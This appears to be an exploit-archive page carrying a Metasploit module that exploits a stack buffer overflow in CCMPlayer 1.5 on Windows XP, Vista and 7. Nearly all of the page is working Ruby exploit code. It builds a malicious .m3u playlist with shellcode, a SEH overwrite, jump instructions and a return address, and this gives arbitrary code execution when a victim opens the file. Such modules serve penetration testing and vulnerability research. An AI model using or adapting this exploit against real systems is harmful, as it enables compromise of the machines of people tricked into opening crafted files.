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CCMPlayer 1.5 Stack Buffer Overflow

CCMPlayer 1.5 Stack Buffer Overflow
Posted Dec 3, 2011
Authored by Rh0 | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening a m3u playlist with a long track name, a SEH exception record can be overwritten with parts of the controllable buffer. SEH execution is triggered after an invalid read of an injectable address, thus allowing arbitrary code execution. This Metasploit module works on multiple Windows platforms including: Windows XP SP3, Windows Vista, and Windows 7.

tags | exploit, overflow, arbitrary, code execution
systems | windows, xp, vista, 7
advisories | OSVDB-77453
MD5 | 3aae8f1a871387793558f0a991da878c

CCMPlayer 1.5 Stack Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
'Description' => %q{
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
a m3u playlist with a long track name, a SEH exception record can be overwritten
with parts of the controllable buffer. SEH execution is triggered after an
invalid read of an injectible address, thus allowing arbitrary code execution.
This module works on multiple Windows platforms including: Windows XP SP3,
Windows Vista, and Windows 7.
},
'License' => MSF_LICENSE,
'Author' => ['Rh0'], # discovery and metasploit module
'References' =>
[
['OSVDB', '77453'],
['URL', 'http://www.exploit-db.com/exploits/18178/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 0x1000,
'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
'DisableNops' => 'True',
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'CCMPlayer 1.5',
{
# pop esi / pop ebx / ret (in ccmplay.exe)
# tweak it if necessary
'Ret' => 0x00403ca7, # last NULL in buffer is accepted
'Offset' => 0x1000
}
]
],
'Privileged' => false,
'DisclosureDate' => '30 Nov 2011', # to my knowledge
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
], self.class)
end

def exploit

m3u = "C:\\"
# shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
m3u << payload.encoded
# junk
m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
# to trigger SEH
m3u << [0xffffffff].pack("V")
# pad
m3u << rand_text_alpha_upper(3)
# long jmp: jmp far back to shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
# NSEH: jmp short back to long jmp instruction
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
m3u << rand_text_alpha_upper(2)
# SEH Exception Handler Address -> p/p/r
m3u << [target.ret].pack("V")
m3u << ".mp3\r\n" # no crash without it

print_status("Creating '#{datastore['FILENAME']}' file ...")

# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
file_create(m3u)

end

end

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